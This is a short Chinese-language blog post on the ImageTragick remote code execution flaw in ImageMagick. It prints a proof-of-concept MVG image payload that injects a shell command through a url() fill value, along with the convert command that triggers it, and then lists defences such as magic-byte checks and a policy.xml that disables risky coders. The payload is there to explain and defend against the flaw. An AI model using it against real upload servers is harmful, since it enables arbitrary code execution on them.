zoukankan      html  css  js  c++  java
  • ImageTragick Exploit & Fix

    ImageMagick是一款广泛流行的图像处理软件,有无数的网站(国内国外都有)使用它来进行图像处理,本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。

    在这个安全漏洞公布之后,这一漏洞的EXP也随即被发布,并被命名为:ImageTragick。漏洞的EXP已经通过邮件和论坛广泛传播。

    ImageMagick被许多编程语言所支持:Perl,C++,PHP,Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如:WordPress、Drupal、Discuz!。

    该漏洞的利用十分简单,通过上传一个恶意图像到目标Web服务器上,攻击者就可以执行任意代码,窃取重要信息,用户帐户等。

    换句话说,只有采用了ImageMagick,且允许用户上传图像的网站,才会受到影响。

    漏洞利用:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://example.com/image.jpg"|ls "-la)'
    pop graphic-context

    将代码保存为任意的扩展名,例如expoit.jpg,然后通过ImageMagick去运行它

    convert exploit.jpg out.png

    此时,ImageMagick就会去执行嵌入的代码/命令:ls -la命令。

    漏洞防御:

    1.在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型,即:检查文件的magic bytes。Magic bytes是一个文件的前几个字节,被用于识别图像类型,例如GIF,JPEG和PNG等,这样,才能准确判断是否为文件图片。

    2.使用策略配置文件来禁用ImageMagick的有风险的编码器,可在 "/etc/ImageMagick/policy.xml" 文件中添加如下代码:

    <policymap>
        <policy domain="coder" rights="none" pattern="EPHEMERAL">
        <policy domain="coder" rights="none" pattern="URL">
        <policy domain="coder" rights="none" pattern="HTTPS">
        <policy domain="coder" rights="none" pattern="MVG">
        <policy domain="coder" rights="none" pattern="MSL">
    </policymap>

    此时,若再运行:convert exploit.jpg out.png,就无法再执行ls -la命令了。

    EXP:https://www.exploit-db.com/exploits/39767

  • 相关阅读:
    C# List 查找重复项 Distinct()方法
    AE单词备忘
    UML建模—EA创建Use Case(用例图)
    UML之用例图
    是时候改变你的开发方式了-XAF信息系统快速框架介绍
    教你5分钟做个手机APP[视频]
    教你5分钟做个手机APP[视频]
    在.NET 框架中使用 C# 8 和可空引用类型
    C# 9 提案:模块初始化器
    How to: Filter a Report Parameter's Lookup 如何:筛选报表参数的查找
  • 原文地址:https://www.cnblogs.com/milantgh/p/5464130.html
Copyright © 2011-2022 走看看